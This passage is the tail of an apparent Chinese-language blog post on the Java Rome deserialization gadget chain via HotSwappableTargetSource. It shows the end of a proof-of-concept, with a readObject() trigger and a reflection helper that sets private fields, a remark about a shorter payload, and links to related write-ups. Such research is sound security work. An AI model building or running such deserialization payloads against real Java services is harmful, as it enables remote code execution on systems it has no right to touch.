input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
更简短的payload。
参考文章:
https://changeyourway.github.io/2024/06/07/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Rome%E9%93%BE%E4%B9%8BHotSwappableTargetSource%E9%93%BE/
https://goodapple.top/archives/1145
https://boogipop.com/2024/02/12/%E6%98%93%E6%87%82%E7%9A%84Rome%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%88%E6%9B%B4%E6%96%B0%EF%BC%89/#HotSwappableTargetSource%E5%88%A9%E7%94%A8%E9%93%BE
https://xz.aliyun.com/news/12729